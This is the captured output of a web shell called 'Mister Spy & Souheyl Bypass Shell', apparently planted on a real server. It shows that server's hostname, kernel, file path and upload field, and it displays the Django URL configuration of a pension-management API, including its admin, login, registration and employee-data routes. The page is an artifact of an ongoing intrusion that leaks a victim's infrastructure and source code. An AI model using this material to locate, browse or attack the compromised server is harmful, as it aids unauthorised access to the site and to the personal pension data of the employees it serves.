Welcome To Our Shell

Mister Spy & Souheyl Bypass Shell

Current Path : /var/www/bavspeed/api/backend/

Linux ift1.ift-informatik.de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
Upload File :
Current File : /var/www/bavspeed/api/backend/urls.py

from django.contrib import admin
from django.urls import path, include
from rest_framework.routers import DefaultRouter
from rest_framework_simplejwt.views import TokenRefreshView
from drf_yasg.views import get_schema_view
from drf_yasg import openapi
from django.conf import settings
from django.conf.urls.static import static

from core.views import (
    UserViewSet,
    CompanyViewSet,
    EmployeeProfileViewSet,
    PlanRetraiteViewSet,
    UserMeView,
    ContributionListView,
    CompanyDetailView,
    EmployeeDetailView,
    UserRegistrationView,
    PensionSimulationView,
    CustomTokenObtainPairView,
)

schema_view = get_schema_view(
    openapi.Info(
        title="API Plateforme Retraite",
        default_version='v1',
        description="Documentation de l'API pour la plateforme de gestion des retraites",
        contact=openapi.Contact(email="contact@retraite.com"),
    ),
    public=True,
)

# ---------------- ROUTER ----------------
router = DefaultRouter()
router.register(r'users', UserViewSet)
router.register(r'companies', CompanyViewSet)
router.register(r'employees', EmployeeProfileViewSet, basename='employees')
router.register(r'plans', PlanRetraiteViewSet, basename='plans-retraite')

# ---------------- CompanyViewSet personnalisé pour GET/PATCH /company/
company_view = CompanyViewSet.as_view({
    'get': 'retrieve',
    'patch': 'partial_update',
})

# ---------------- URLPATTERNS ----------------
urlpatterns = [
    # Django admin
    path('admin/', admin.site.urls),

    # Documentation Swagger / Redoc
    path('swagger/', schema_view.with_ui('swagger', cache_timeout=0), name='schema-swagger-ui'),
    path('redoc/', schema_view.with_ui('redoc', cache_timeout=0), name='schema-redoc'),

    # Authentification & Tokens
    path('api/auth/', include([
        path('login/', CustomTokenObtainPairView.as_view(), name='token_obtain_pair'),
        path('token/refresh/', TokenRefreshView.as_view(), name='token_refresh'),
        path('register/', UserRegistrationView.as_view(), name='user-register'),
    ])),

    # Utilisateur connecté
    path('api/users/me/', UserMeView.as_view(), name='user-me'),

    # CompanyViewSet → récupération et mise à jour des données entreprise
    path('api/company/', company_view, name='company'),

    # EMPLOYER - gestion entreprise et employés
    path('api/employer/', include([
        path('company/', CompanyDetailView.as_view(), name='company-detail'),
        path('employees/', EmployeeDetailView.as_view(), name='employee-list'),
        path('employees/<str:matricule>/', EmployeeDetailView.as_view(), name='employee-detail'),
    ])),

    # EMPLOYEE - dashboard, pension et contributions
    path('api/employee/', include([
        path('simulate/', PensionSimulationView.as_view(), name='pension-simulation'),
        path('contributions/', ContributionListView.as_view(), name='employee-contributions'),
    ])),

    # Routes DRF automatiques
    path('api/', include(router.urls)),
] + static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped) Email: contact@elmoujehidin.net